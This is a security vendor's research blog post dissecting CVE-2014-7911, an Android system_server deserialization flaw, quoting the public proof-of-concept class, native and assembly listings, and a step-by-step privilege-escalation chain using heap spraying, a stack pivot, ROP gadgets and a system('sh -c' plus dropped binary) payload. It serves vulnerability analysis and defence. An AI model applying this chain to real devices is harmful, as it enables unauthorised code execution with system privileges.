* [Blog](https://www2.paloaltonetworks.com/blog) * [Palo Alto Networks](https://www2.paloaltonetworks.com/blog/corporate/) * [Malware](https://www2.paloaltonetworks.com/blog/category/malware-2/) * CVE-2014-7911 -- A Deep Di... # CVE-2014-7911 -- A Deep Dive Analysis of Android System Service Vulnerability and Exploitation [](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Fwww2.paloaltonetworks.com%2Fblog%2F2015%2F01%2Fcve-2014-7911-deep-dive-analysis-android-system-service-vulnerability-exploitation%2F) [](https://twitter.com/share?text=CVE-2014-7911+%E2%80%93+A+Deep+Dive+Analysis+of+Android+System+Service+Vulnerability+and+Exploitation&url=https%3A%2F%2Fwww2.paloaltonetworks.com%2Fblog%2F2015%2F01%2Fcve-2014-7911-deep-dive-analysis-android-system-service-vulnerability-exploitation%2F) [](https://www.linkedin.com/shareArticle?mini=true&url=https%3A%2F%2Fwww2.paloaltonetworks.com%2Fblog%2F2015%2F01%2Fcve-2014-7911-deep-dive-analysis-android-system-service-vulnerability-exploitation%2F&title=CVE-2014-7911+%E2%80%93+A+Deep+Dive+Analysis+of+Android+System+Service+Vulnerability+and+Exploitation&summary=&source=) [](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https://www2.paloaltonetworks.com/blog/2015/01/cve-2014-7911-deep-dive-analysis-android-system-service-vulnerability-exploitation/&ts=markdown) \[\](mailto:?subject=CVE-2014-7911 – A Deep Dive Analysis of Android System Service Vulnerability and Exploitation) Link copied By [Yaron Lavi](https://www.paloaltonetworks.com/blog/author/yaron-lavi/?ts=markdown "Posts by Yaron Lavi") and [Nadav Markus](https://www.paloaltonetworks.com/blog/author/nadav-markus/?ts=markdown "Posts by Nadav Markus") Jan 06, 2015 13 minutes [Malware](https://www.paloaltonetworks.com/blog/category/malware-2/?ts=markdown) [Mobility](https://www.paloaltonetworks.com/blog/category/mobility/?ts=markdown) [Threat Prevention](https://www.paloaltonetworks.com/blog/category/threat-prevention-2/?ts=markdown) [Android](https://www.paloaltonetworks.com/blog/tag/android/?ts=markdown) [CVE-2014-7911](https://www.paloaltonetworks.com/blog/tag/cve-2014-7911/?ts=markdown) [Vulnerability](https://www.paloaltonetworks.com/blog/tag/vulnerability/?ts=markdown) In this post we discuss CVE-2014-7911 and the various techniques that can be used to achieve privilege escalation. We also examine how some of these techniques can be blocked using several security mechanisms. ### The Vulnerability CVE-2014-7911 was presented [here](http://seclists.org/fulldisclosure/2014/Nov/51) along with a very descriptive POC that was written by Jann Horn. Described briefly, the ObjectInputStream doesn't validate that the serialized object's class type, as described in the serialized object, is actually serializable. It creates an instance of the wanted class anyway with the deserialized values of the object. Therefore, one can create object of any class, and control its private variables, by serializing objects from another class, that would be deserialized as data members of the wanted class. Let's look at the example below: The following snippet (copied from the original POC) shows a spoofed BinderProxy instance: package AAdroid.os; import java.io.Serializable; public class BinderProxy implements Serializable { private static final long serialVersionUID = 0; public long mObject = 0x1337beef; public long mOrgue = 0x1337beef; } |-------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 | package AAdroid.os; import java.io.Serializable; public class BinderProxy implements Serializable { private static final long serialVersionUID = 0; public long mObject = 0x1337beef; public long mOrgue = 0x1337beef; } | In the POC code that was provided above, an attacker serializes a class named AAdroid.os.BinderProxy and changes its name to android.os.BinderProxy after marshalling it, and before sending it to the system server. android.os.BinderProxy class isn't serializable, and it involves native code that handles mObject and mOrgue **as pointers.** If it was serializable, then the pointers valued wouldn't be deserialized, but their dereferenced values would. The deserialization code in ObjectInputStream deserializes the sent object as an android.os.BinderProxy instance, leading to type confusion. As mentioned earlier, this type confusion results in the native code reading pointer values from the attacker's spoofed android.os.BinderProxy, supposedly private fields, which the attacker modified. Specifically, the field of interest is mOrgue. The android.os.BinderProxy contains a finalize method that will result in native code invocation. This native code uses mOrgue as a pointer. This is the finalize method: protected void finalize() throws Throwable { destroy(); super.finalize(); return; Exception exception; exception; super.finalize(); throw exception; } |-------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 | protected void finalize() throws Throwable { destroy(); super.finalize(); return; Exception exception; exception; super.finalize(); throw exception; } | And this is the declaration of destroy: private final native void destroy(); |---|--------------------------------------| | 1 | private final native void destroy(); | The native destroy function: static void android\_os\_BinderProxy\_destroy(JNIEnv\* env, jobject obj) { IBinder\* b = (IBinder\*) env-\>GetIntField(obj, gBinderProxyOffsets.mObject); DeathRecipientList\* drl = (DeathRecipientList\*) env-\>GetIntField(obj, gBinderProxyOffsets.mOrgue); LOGDEATH("Destroying BinderProxy %p: binder=%p drl=%p\\n", obj, b, drl); env-\>SetIntField(obj, gBinderProxyOffsets.mObject, 0); env-\>SetIntField(obj, gBinderProxyOffsets.mOrgue, 0); drl-\>decStrong((void\*)javaObjectForIBinder); b-\>decStrong((void\*)javaObjectForIBinder); IPCThreadState::self()-\>flushCommands(); } |-------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 | static void android\_os\_BinderProxy\_destroy(JNIEnv\* env, jobject obj) { IBinder\* b = (IBinder\*) env-\>GetIntField(obj, gBinderProxyOffsets.mObject); DeathRecipientList\* drl = (DeathRecipientList\*) env-\>GetIntField(obj, gBinderProxyOffsets.mOrgue); LOGDEATH("Destroying BinderProxy %p: binder=%p drl=%p\\n", obj, b, drl); env-\>SetIntField(obj, gBinderProxyOffsets.mObject, 0); env-\>SetIntField(obj, gBinderProxyOffsets.mOrgue, 0); drl-\>decStrong((void\*)javaObjectForIBinder); b-\>decStrong((void\*)javaObjectForIBinder); IPCThreadState::self()-\>flushCommands(); } | Eventually, the native code invokes decStrong (i.e., in drl-\>decStrong((**void**\*)javaObjectForIBinder);) **Note that at this point, drl is controlled by an attacker, as evident by the line** DeathRecipientList\* drl = (DeathRecipientList\*) env-\>GetIntField(obj, gBinderProxyOffsets.mOrgue); |-----|-------------------------------------------------------------------------------------------------------| | 1 2 | DeathRecipientList\* drl = (DeathRecipientList\*) env-\>GetIntField(obj, gBinderProxyOffsets.mOrgue); | So decStrong is going to be called with us controlling 'this' pointer. Let's take a look on decStrong code from RefBase class [source](https://android.googlesource.com/platform/system/core/+/master/libutils/RefBase.cpp): void RefBase::decStrong(const void\* id) const { weakref\_impl\* const refs = mRefs; refs-\>removeStrongRef(id); const int32\_t c = android\_atomic\_dec(\&refs-\>mStrong); #if PRINT\_REFS ALOGD("decStrong of %p from %p: cnt=%d\\n", this, id, c); #endif ALOG\_ASSERT(c \>= 1, "decStrong() called on %p too many times", refs); if (c == 1) { refs-\>mBase-\>onLastStrongRef(id); if ((refs-\>mFlags\&OBJECT\_LIFETIME\_MASK) == OBJECT\_LIFETIME\_STRONG) { delete this; } } refs-\>decWeak(id); } |-------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | void RefBase::decStrong(const void\* id) const { weakref\_impl\* const refs = mRefs; refs-\>removeStrongRef(id); const int32\_t c = android\_atomic\_dec(\&refs-\>mStrong); #if PRINT\_REFS ALOGD("decStrong of %p from %p: cnt=%d\\n", this, id, c); #endif ALOG\_ASSERT(c \>= 1, "decStrong() called on %p too many times", refs); if (c == 1) { refs-\>mBase-\>onLastStrongRef(id); if ((refs-\>mFlags\&OBJECT\_LIFETIME\_MASK) == OBJECT\_LIFETIME\_STRONG) { delete this; } } refs-\>decWeak(id); } | **Note the line refs-\>mBase-\>onLastStrongRef(id); These lines will eventually lead to arbitrary code execution.** In the following screenshot of RefBase::decStrong assembly, the attacker controls r0('this pointer') ![cve 1 6 15 1](https://www.paloaltonetworks.com/blog/wp-content/uploads/2015/01/cve-1-6-15-1-500x289.png) ### Exploitation The first use of the controlled register r0, which contains the 'this' pointer (drl) is in these lines: weakref\_impl\* const refs = mRefs; refs-\>removeStrongRef(id); const int32\_t c = android\_atomic\_dec(\&refs-\>mStrong); |-------|------------------------------------------------------------------------------------------------------------------------| | 1 2 3 | weakref\_impl\* const refs = mRefs; refs-\>removeStrongRef(id); const int32\_t c = android\_atomic\_dec(\&refs-\>mStrong); | These lines are translated to the following assembly: ldr r4, \[r0, #4\] # attacker controls r4 mov r6, r1 mov r0, r4 blx \ |---------|-----------------------------------------------------------------------------------------------| | 1 2 3 4 | ldr r4, \[r0, #4\] # attacker controls r4 mov r6, r1 mov r0, r4 blx \ | First, r4 is loaded with the mRefs variable. ldr r4, \[r0, #4\] # attacker controls r4 |---|-------------------------------------------| | 1 | ldr r4, \[r0, #4\] # attacker controls r4 | **Note that r0 is the 'this' pointer of the drl, and mRefs is the first private variable following the virtual function table, hence it is 4 bytes after 'this' pointer.** Then, android\_atomic\_dec is being called with \&refs-\>mStrong const int32\_t c = android\_atomic\_dec(\&refs-\>mStrong); |---|---------------------------------------------------------| | 1 | const int32\_t c = android\_atomic\_dec(\&refs-\>mStrong); | This is translated to: mov r0, r4 blx \ |-----|------------------------------------------| | 1 2 | mov r0, r4 blx \ | r0 now contains \&refs-\>mStrong. **Note that the mStrong variable is the first data member of refs (in the class weakref\_impl), and that this class contains no virtual functions, hence it does not contain a vtable, so the mStrong variable is at offset 0 of r4.** As one can tell - the line refs-\>removeStrongRef(id); is not present in the assembly simply because the compiler optimized and omitted it, since it has an empty implementation, as one can see from the following code: void removeStrongRef(const void\* /\*id\*/) { } |---|-------------------------------------------------| | 1 | void removeStrongRef(const void\* /\*id\*/) { } | Following the call to android\_atomic\_dec are these lines of code: if (c == 1) { refs-\>mBase-\>onLastStrongRef(id); |-----|---------------------------------------------------| | 1 2 | if (c == 1) { refs-\>mBase-\>onLastStrongRef(id); | These are translated to the following assembly lines: cmp r0, #1 bne.n d1ea ldr r0, \[r4, #8\] mov r1, r6 ldr r3, \[r0, #0\] ldr r2, \[r3, #12\] blx r2 |---------------|---------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 | cmp r0, #1 bne.n d1ea ldr r0, \[r4, #8\] mov r1, r6 ldr r3, \[r0, #0\] ldr r2, \[r3, #12\] blx r2 | **Note that android\_atomic\_dec returns the value of the specified memory address before the decrement took place. So in order to invoke refs-\>mBase-\>onLastStrongRef(id) (blx r2), we must get refs-\>mStrong to get the value of 1.** As we can see up to now, an attacker has several constraints that he must adhere to if he wishes to gain code execution: 1. drl (our first controlled pointer, i.e. r0 when entering decStrong) must point to a readable memory location. 2. refs-\>mStrong must have the value of 1 3. The dereference chain at the line refs-\>mBase-\>onLastStrongRef(id) must succeed and eventually point to an executable address. In addition, an attacker must overcome the usual obstacles of exploitation - **ASLR** and **DEP**. One can employ basic techniques to fulfill these requirements and overcome the mentioned security mechanisms, including**heap spraying, stack pivoting and ROP.** Let's look at these in detail\*\*.\*\* ### Heap spray An attacker's first step will be to get a reliable readable address with arbitrary data - most commonly achieved by a heap spray. The system server provides several core functionalities for the android device, many of which are exposed to applications via various service interfaces. A common paradigm to invoke a service in the context of the system server is like the following: LocationManager lm = (LocationManager)getSystemService(LOCATION\_SERVICE); |---|---------------------------------------------------------------------------| | 1 | LocationManager lm = (LocationManager)getSystemService(LOCATION\_SERVICE); | The acquired manager allows us to invoke functionality in the system server on behalf of us, via IPC. Several services can be used by us for a heap spray, but for the purpose of this blog, we decided to use a heap spray that requires special app permissions, to prevent normal applications from utilizing this technique. The location manager allows us to register test providers via the function addTestProvider - allowing us to pass an arbitrary name that contains arbitrary data. As we mentioned, one should enable developer options and enable the mock locations option in order to utilize this. lm.addTestProvider(builder.toString(), false, false, false, false, false, false, false, 1, 1); |---|------------------------------------------------------------------------------------------------| | 1 | lm.addTestProvider(builder.toString(), false, false, false, false, false, false, false, 1, 1); | **Note that this heap spray does have its limitations -- the data is sprayed using the name field, which is Unicode. This imposes a limitation -- we are limited to byte sequences which correspond to valid Unicode code points.** #### Spray addresses manipulation After spraying the system server process memory address space, we encountered another issue - our chosen static address indeed pointed to readable data on each run, but not to the exact same offset in the spray chunk each time. We decided to solve this problem by crafting a special spray that contains decreasing pointer values. Here is an illustration of the sprayed buffer, followed by an explanation of its structure: ![cve 1 6 15 2](https://www.paloaltonetworks.com/blog/wp-content/uploads/2015/01/cve-1-6-15-2.png) **STATIC\_ADDRESS** is the arbitrarily chosen static pointer in mOrgue. **GADGET\_BUFFER\_OFFSET** is the offset of GADGET\_BUFFER from the beginning of the spray. In each run of system server process, the static address we chose points to our controlled data, but with different offsets. r0 (which **always** hold the same chosen **STATIC\_ADDRESS** ) can fall to any offset in the "Relative Address Chunk", therefore point to any of the **STATIC\_ADDRESS + GADGET\_BUFFER\_OFFSET - 4N** addresses, on each time. **Note the following equation:** **GADGET\_BUFFER = Beginning\_of\_spray + GADGET\_BUFFER\_OFFSET** In the case that r0 **(=STATIC\_ADDRESS**) points to the beginning of the spray : STATIC\_ADDRESS = Beginning\_of\_spray. Hence: **GADGET\_BUFFER =** **STATIC\_ADDRESS + GADGET\_BUFFER\_OFFSET** On any other case -- r0\*\*(=STATIC\_ADDRESS\*\*) points to an offset inside the spray (the offset is dword aligned): STATIC\_ADDRESS = Beginning\_of\_spray + 4N Beginning\_of\_spray = STATIC\_ADDRESS -- 4N. Hence: **GADGET\_BUFFER =** **STATIC\_ADDRESS + GADGET\_BUFFER\_OFFSET -- 4N** The higher offset in the chunk that r0(=STATIC\_ADDRESS) points to, the more we have to subtract to make the expression: STATIC\_ADDRESS + GADGET\_BUFFER\_OFFSET - 4N points to GADGET\_BUFFER. **No matter to which offset in the chunk r0 points to, dereference it** **would give us the current address of GADGET\_BUFFER.** But where do we get if we dereference the other addresses in the chunk? As farther as we go **above** r0, the farther the dereference would bring us**below** GADGET\_BUFFER. ![cve 1 6 15 3](https://www.paloaltonetworks.com/blog/wp-content/uploads/2015/01/cve-1-6-15-3-500x312.png) Now that we have a valid working spray, let's go back to analyzing the assembly. ldr r4, \[r0, #4\] mov r0, r4 blx \ cmp r0, #1 |---------|------------------------------------------------------------------------| | 1 2 3 4 | ldr r4, \[r0, #4\] mov r0, r4 blx \ cmp r0, #1 | So to overcome the second constraint -- in which refs-\>mStrong must contain 1 ldr r4, \[r0, #4\] --\> r4=\[STATIC\_ADDRESS + 4\] --\> r4 = GADGET\_BUFFER-4 |---|-----------------------------------------------------------------------------| | 1 | ldr r4, \[r0, #4\] --\> r4=\[STATIC\_ADDRESS + 4\] --\> r4 = GADGET\_BUFFER-4 | \[r4\] should contain 1, hence \[GADGET\_BUFFER - 4\] should contains 1. Now, after atomic\_dec return value is indeed 1, we should overcome the other dereferences to get to the blx opcode. cmp r0, #1 bne.n d1ea r4=GADGET\_BUFFER - 4 ldr r0, \[r4, #8\] r0 = \[GADGET\_BUFFER - 4 + 8\] \<-\> r0 = \[GADGET\_BUFFER + 4\] mov r1, r6 ldr r3, \[r0, #0\] r3 = \[\[GADGET\_BUFFER + 4\] + 0\] \<-\> r3 = \[\[GADGET\_BUFFER + 4\]\] |-------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 | cmp r0, #1 bne.n d1ea r4=GADGET\_BUFFER - 4 ldr r0, \[r4, #8\] r0 = \[GADGET\_BUFFER - 4 + 8\] \<-\> r0 = \[GADGET\_BUFFER + 4\] mov r1, r6 ldr r3, \[r0, #0\] r3 = \[\[GADGET\_BUFFER + 4\] + 0\] \<-\> r3 = \[\[GADGET\_BUFFER + 4\]\] | **Note in order to succeed with this dereference, \[GADGET\_BUFFER + 4\] should contain a KNOWN valid address.** We arbitrarily chose the known address - STATIC\_ADDRESS. ![cve 1 6 15 4](https://www.paloaltonetworks.com/blog/wp-content/uploads/2015/01/cve-1-6-15-4-230x103.png) ldr r2, \[r3, #12\] r2 = \[GADGET\_BUFFER + 12\] blx r2 |-------|--------------------------------------------------------| | 1 2 3 | ldr r2, \[r3, #12\] r2 = \[GADGET\_BUFFER + 12\] blx r2 | So now we can build the GADGET\_BUFFER as following: ![cve 1 6 15 5](https://www.paloaltonetworks.com/blog/wp-content/uploads/2015/01/cve-1-6-15-5.png) ### ROP CHAIN We chose to run the "system" function with a predefined command line. In order to control the r0 register, and make it point to the command line string, we should use some gadgets that would manipulate the registers. We got only one function call, so to take control on the execution flow with our gadgets, we should use a **stack pivot** gadget. Therefore, the first function pointer is the preparations for the stack pivot gadget: ![cve 1 6 15 6](https://www.paloaltonetworks.com/blog/wp-content/uploads/2015/01/cve-1-6-15-61.png) Where r5 equals to the original r0 (STATIC\_ADDRESS) as one can see at the beginning of decStrong. mov r0,r5 - Restoring r0 to its original value. ldr r7, \[r5\] r7 = \[r5\] r7=\[STATIC\_ADDRESS\] r7 = GADGET\_BUFFER ldr r2, \[r7,#0x54\] r2 = \[r7 + 0x54\] r2 = \[GADGET\_BUFFER + 84\] blx r2 |-----------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 | mov r0,r5 - Restoring r0 to its original value. ldr r7, \[r5\] r7 = \[r5\] r7=\[STATIC\_ADDRESS\] r7 = GADGET\_BUFFER ldr r2, \[r7,#0x54\] r2 = \[r7 + 0x54\] r2 = \[GADGET\_BUFFER + 84\] blx r2 | Call to the next gadget - which should be 21(=0x54 / 4) dwords from the beginning of GADGET\_BUFFER ![cve 1 6 15 7](https://www.paloaltonetworks.com/blog/wp-content/uploads/2015/01/cve-1-6-15-71.png) This gadget does the Stack Pivoting. SP register points to r7 -- therefore the stack is under our control and points to **GADGET\_BUFFER** **.** Ret to the next gadget that should be kept **8** dwords from the beginning of GADGET\_BUFFER (Note the **pop** {r4\*\*-\*\* r11\*\*,\*\* pc} instruction, which pops **8** registers off the stack before popping pc). ![cve 1 6 15 8](https://www.paloaltonetworks.com/blog/wp-content/uploads/2015/01/cve-1-6-15-8.png) r0 = \[r0 + 0x38\] r0 = GADGET\_BUFFER - 0x38 (As explained before about the spray) |---|------------------------------------------------------------------------------------| | 1 | r0 = \[r0 + 0x38\] r0 = GADGET\_BUFFER - 0x38 (As explained before about the spray) | Now r0 points to 56 (0x38) bytes before GADGET\_BUFFER, so we have 52 command line chars, excluding the "1" for atomic\_dec. Ret to the next gadget that should be kept 10 dwords from the beginning of GADGET\_BUFFER (2 dwords after the current gadget -- **pop** {r3\*\*,\*\*pc}) ![cve 1 6 15 9](https://www.paloaltonetworks.com/blog/wp-content/uploads/2015/01/cve-1-6-15-9.png) That is the last gadget where we call system! Here is an updated layout of the memory for this to happen: ![cve 1 6 15 10](https://www.paloaltonetworks.com/blog/wp-content/uploads/2015/01/cve-1-6-15-10.png) #### Android and ARM There are two important issues we should keep in mind when choosing the gadgets addresses. * There is an ASLR mechanism on Android, and the addresses wouldn't be the same on each and every time. In order to know the correct address, we use the fact that both system server process, and our app are forked from the same process - ZYGOTE, meaning we share the same modules. So we get the address of the necessary modules in system server process, by parsing the maps file of our process. 'maps' is a file in /proc/\/maps which contains the memory layout and the loaded modules addresses. * On ARM CPU, there are two modes of opcode parsing: ARM (4 bytes per opcode) and THUMB (variable bytes per opcode -- 2 or 4). Meaning that the same address pointed by PC, could be parsed differently by the cpu when running in different modes. **Parts of the gadgets we use are in the THUMB mode.** In order to make the processor change its mode when parsing those gadgets, we **change** the pointer address from the actual address, to (address \& 1) - turning on the LSB, which make the cpu jmp to the correct address with THUMB mode. ### PAYLOAD As described before, we use the "system" function to run our command line. The length of the command line is limited, and actually a command line can't be used for every purpose. So we decided to use a pre compiled elf, that being written to the file system, as an asset of our app. This elf can do anything with uid 1000 (the uid of system server). The command line we send as an argument to system is simply -- "sh -c " + file\_path ### CONCLUSION Android has some common security mechanisms such as ASLR and DEP which should make an exploitation of vulnerability harder to achieve. Moreover, every application runs in its own process, so the IPC communication could be validated, and making guesses on memory layout shouldn't be intuitive. On the other hand, the fact that every process is forked from the same process makes ASLR irrelevant for vulnerabilities within zygote's sons and the binder connection from every process to system server could lead to heap spray as seen on this post. Those issues appear to be inherent in the Android OS design. Palo Alto Networks has been researching an Android security solution that based on our lab testing would have blocked this exploit (as well as other exploits) with multiple exploit mitigation modules. We hope to share more details in the coming months. *** ** * ** *** ## Related Blogs ### [Application Advisory/Analysis](https://www.paloaltonetworks.com/blog/category/application-analysis/?ts=markdown), [Malware](https://www.paloaltonetworks.com/blog/category/malware-2/?ts=markdown), [Mobility](https://www.paloaltonetworks.com/blog/category/mobility/?ts=markdown), [Threat Advisories - Advisories](https://www.paloaltonetworks.com/blog/category/threat-advisories-advisories/?ts=markdown), [Threat Prevention](https://www.paloaltonetworks.com/blog/category/threat-prevention-2/?ts=markdown), [Unit 42](https://www.paloaltonetworks.com/blog/category/unit42/?ts=markdown) [#### Chinese Taomike Monetization Library Steals SMS Messages](https://www2.paloaltonetworks.com/blog/2015/10/chinese-taomike-monetization-library-steals-sms-messages/) ### [Distributed Enterprise](https://www.paloaltonetworks.com/blog/category/distributed-enterprise/?ts=markdown), [Mobility](https://www.paloaltonetworks.com/blog/category/mobility/?ts=markdown), [Threat Prevention](https://www.paloaltonetworks.com/blog/category/threat-prevention-2/?ts=markdown) [#### Reusable Mobile App Libraries Introduce Reusable Security Issues](https://www2.paloaltonetworks.com/blog/2014/07/reusable-mobile-app-libraries-introduce-reusable-security-issues/) ### [Endpoint](https://www.paloaltonetworks.com/blog/category/endpoint-2/?ts=markdown), [Threat Prevention](https://www.paloaltonetworks.com/blog/category/threat-prevention-2/?ts=markdown) [#### Traps Spies FINSPY With Its Eye ... and Prevents It](https://www2.paloaltonetworks.com/blog/2017/09/traps-spies-finspy-eye-prevents/) ### [Threat Prevention](https://www.paloaltonetworks.com/blog/category/threat-prevention-2/?ts=markdown), [Unit 42](https://www.paloaltonetworks.com/blog/category/unit42/?ts=markdown) [#### Palo Alto Networks Discovers Two Adobe Reader Privileged JavaScript Zero-Days](https://www2.paloaltonetworks.com/blog/2016/10/unit42-palo-alto-networks-discovers-two-adobe-reader-privileged-javascript-zero-days/) ### [AI Security](https://www.paloaltonetworks.com/blog/category/ai-security/?ts=markdown), [Malware](https://www.paloaltonetworks.com/blog/category/malware-2/?ts=markdown), [Products and Services](https://www.paloaltonetworks.com/blog/category/products-and-services/?ts=markdown), [Research](https://www.paloaltonetworks.com/blog/category/research/?ts=markdown), [Unit 42](https://www.paloaltonetworks.com/blog/category/unit42/?ts=markdown) [#### From Ransom to Revenue Loss](https://www2.paloaltonetworks.com/blog/2025/10/from-ransom-to-revenue-loss/) ### [Research](https://www.paloaltonetworks.com/blog/category/research/?ts=markdown), [Threat Prevention](https://www.paloaltonetworks.com/blog/category/threat-prevention-2/?ts=markdown), [Unit 42](https://www.paloaltonetworks.com/blog/category/unit42/?ts=markdown) [#### Muddled Libra: From Social Engineering to Enterprise-Scale Disruption](https://www2.paloaltonetworks.com/blog/2025/07/muddled-libra-social-engineering-enterprise-scale-disruption/) ### Subscribe to the Blog! Sign up to receive must-read articles, Playbooks of the Week, new feature announcements, and more. ![spinner](https://www2.paloaltonetworks.com/blog/wp-content/themes/panwblog2023/dist/images/ajax-loader.gif) Sign up Please enter a valid email. By submitting this form, you agree to our [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use?ts=markdown) and acknowledge our [Privacy Statement](https://www.paloaltonetworks.com/legal-notices/privacy?ts=markdown). Please look for a confirmation email from us. If you don't receive it in the next 10 minutes, please check your spam folder. This site is protected by reCAPTCHA and the Google [Privacy Policy](https://policies.google.com/privacy) and [Terms of Service](https://policies.google.com/terms) apply. {#footer} {#footer} ## Products and Services * [AI-Powered Network Security Platform](https://www.paloaltonetworks.com/network-security?ts=markdown) * [Secure AI by Design](https://www.paloaltonetworks.com/precision-ai-security/secure-ai-by-design?ts=markdown) * [Prisma AIRS](https://www.paloaltonetworks.com/prisma/prisma-ai-runtime-security?ts=markdown) * [AI Access Security](https://www.paloaltonetworks.com/sase/ai-access-security?ts=markdown) * [Cloud Delivered Security Services](https://www.paloaltonetworks.com/network-security/security-subscriptions?ts=markdown) * [Advanced Threat Prevention](https://www.paloaltonetworks.com/network-security/advanced-threat-prevention?ts=markdown) * [Advanced URL Filtering](https://www.paloaltonetworks.com/network-security/advanced-url-filtering?ts=markdown) * [Advanced WildFire](https://www.paloaltonetworks.com/network-security/advanced-wildfire?ts=markdown) * [Advanced DNS Security](https://www.paloaltonetworks.com/network-security/advanced-dns-security?ts=markdown) * [Enterprise Data Loss Prevention](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention?ts=markdown) * [Enterprise IoT Security](https://www.paloaltonetworks.com/network-security/enterprise-device-security?ts=markdown) * [Medical IoT Security](https://www.paloaltonetworks.com/network-security/medical-device-security?ts=markdown) * [Industrial OT Security](https://www.paloaltonetworks.com/network-security/medical-device-security?ts=markdown) * [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security?ts=markdown) * [Next-Generation Firewalls](https://www.paloaltonetworks.com/network-security/next-generation-firewall?ts=markdown) * [Hardware Firewalls](https://www.paloaltonetworks.com/network-security/hardware-firewall-innovations?ts=markdown) * [Software Firewalls](https://www.paloaltonetworks.com/network-security/software-firewalls?ts=markdown) * [Strata Cloud Manager](https://www.paloaltonetworks.com/network-security/strata-cloud-manager?ts=markdown) * [SD-WAN for NGFW](https://www.paloaltonetworks.com/network-security/sd-wan-subscription?ts=markdown) * [PAN-OS](https://www.paloaltonetworks.com/network-security/pan-os?ts=markdown) * [Panorama](https://www.paloaltonetworks.com/network-security/panorama?ts=markdown) * [Secure Access Service Edge](https://www.paloaltonetworks.com/sase?ts=markdown) * [Prisma SASE](https://www.paloaltonetworks.com/sase?ts=markdown) * [Application Acceleration](https://www.paloaltonetworks.com/sase/app-acceleration?ts=markdown) * [Autonomous Digital Experience Management](https://www.paloaltonetworks.com/sase/adem?ts=markdown) * [Enterprise DLP](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention?ts=markdown) * [Prisma Access](https://www.paloaltonetworks.com/sase/access?ts=markdown) * [Prisma Browser](https://www.paloaltonetworks.com/sase/prisma-browser?ts=markdown) * [Prisma SD-WAN](https://www.paloaltonetworks.com/sase/sd-wan?ts=markdown) * [Remote Browser Isolation](https://www.paloaltonetworks.com/sase/remote-browser-isolation?ts=markdown) * [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security?ts=markdown) * [AI-Driven Security Operations Platform](https://www.paloaltonetworks.com/cortex?ts=markdown) * [Cloud Security](https://www.paloaltonetworks.com/cortex/cloud?ts=markdown) * [Cortex Cloud](https://www.paloaltonetworks.com/cortex/cloud?ts=markdown) * [Application Security](https://www.paloaltonetworks.com/cortex/cloud/application-security?ts=markdown) * [Cloud Posture Security](https://www.paloaltonetworks.com/cortex/cloud/cloud-posture-security?ts=markdown) * [Cloud Runtime Security](https://www.paloaltonetworks.com/cortex/cloud/runtime-security?ts=markdown) * [Prisma Cloud](https://www.paloaltonetworks.com/prisma/cloud?ts=markdown) * [AI-Driven SOC](https://www.paloaltonetworks.com/cortex?ts=markdown) * [Cortex XSIAM](https://www.paloaltonetworks.com/cortex/cortex-xsiam?ts=markdown) * [Cortex XDR](https://www.paloaltonetworks.com/cortex/cortex-xdr?ts=markdown) * [Cortex XSOAR](https://www.paloaltonetworks.com/cortex/cortex-xsoar?ts=markdown) * [Cortex Xpanse](https://www.paloaltonetworks.com/cortex/cortex-xpanse?ts=markdown) * [Unit 42 Managed Detection \& Response](https://www.paloaltonetworks.com/cortex/managed-detection-and-response?ts=markdown) * [Managed XSIAM](https://www.paloaltonetworks.com/cortex/managed-xsiam?ts=markdown) * [Threat Intel and Incident Response Services](https://www.paloaltonetworks.com/unit42?ts=markdown) * [Proactive Assessments](https://www.paloaltonetworks.com/unit42/assess?ts=markdown) * [Incident Response](https://www.paloaltonetworks.com/unit42/respond?ts=markdown) * [Transform Your Security Strategy](https://www.paloaltonetworks.com/unit42/transform?ts=markdown) * [Discover Threat Intelligence](https://www.paloaltonetworks.com/unit42/threat-intelligence-partners?ts=markdown) ## Company * [About Us](https://www.paloaltonetworks.com/about-us?ts=markdown) * [Careers](https://jobs.paloaltonetworks.com/en/) * [Contact Us](https://www.paloaltonetworks.com/company/contact-sales?ts=markdown) * [Corporate Responsibility](https://www.paloaltonetworks.com/about-us/corporate-responsibility?ts=markdown) * [Customers](https://www.paloaltonetworks.com/customers?ts=markdown) * [Investor Relations](https://investors.paloaltonetworks.com/) * [Location](https://www.paloaltonetworks.com/about-us/locations?ts=markdown) * [Newsroom](https://www.paloaltonetworks.com/company/newsroom?ts=markdown) ## Popular Links * [Blog](https://www.paloaltonetworks.com/blog/?ts=markdown) * [Communities](https://www.paloaltonetworks.com/communities?ts=markdown) * [Content Library](https://www.paloaltonetworks.com/resources?ts=markdown) * [Cyberpedia](https://www.paloaltonetworks.com/cyberpedia?ts=markdown) * [Event Center](https://events.paloaltonetworks.com/) * [Manage Email Preferences](https://start.paloaltonetworks.com/preference-center) * [Products A-Z](https://www.paloaltonetworks.com/products/products-a-z?ts=markdown) * [Product Certifications](https://www.paloaltonetworks.com/legal-notices/trust-center/compliance?ts=markdown) * [Report a Vulnerability](https://www.paloaltonetworks.com/security-disclosure?ts=markdown) * [Sitemap](https://www.paloaltonetworks.com/sitemap?ts=markdown) * [Tech Docs](https://docs.paloaltonetworks.com/) * [Unit 42](https://unit42.paloaltonetworks.com/) * [Do Not Sell or Share My Personal Information](https://panwedd.exterro.net/portal/dsar.htm?target=panwedd) ![PAN 